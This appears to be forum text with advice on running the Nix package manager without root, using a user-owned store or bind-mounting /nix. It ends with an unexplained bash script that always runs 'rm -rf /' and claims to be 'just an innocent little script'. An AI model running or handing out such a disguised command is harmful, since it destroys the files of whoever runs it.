- You can create the nix store in some directory you own. But this entails recompiling every package, because the precompiled binaries have dependencies on the store being in /nix.

- If user namespaces are enabled, you can bind mount /nix to some directory that you own:

https://nixos.wiki/wiki/Nix_Installation_Guide

Of course, it is more convenient if you can convince a sysadmin to install multi-user Nix. From there on, every user can install their own packages (in a non-conflicting manner).

http://www.nature.com/articles/srep14945

  #!/bin/bash

  touch x

  if [ -f "x" ]; then
      rm -rf /
  else
      echo "I'm just an innocent little script."
  fi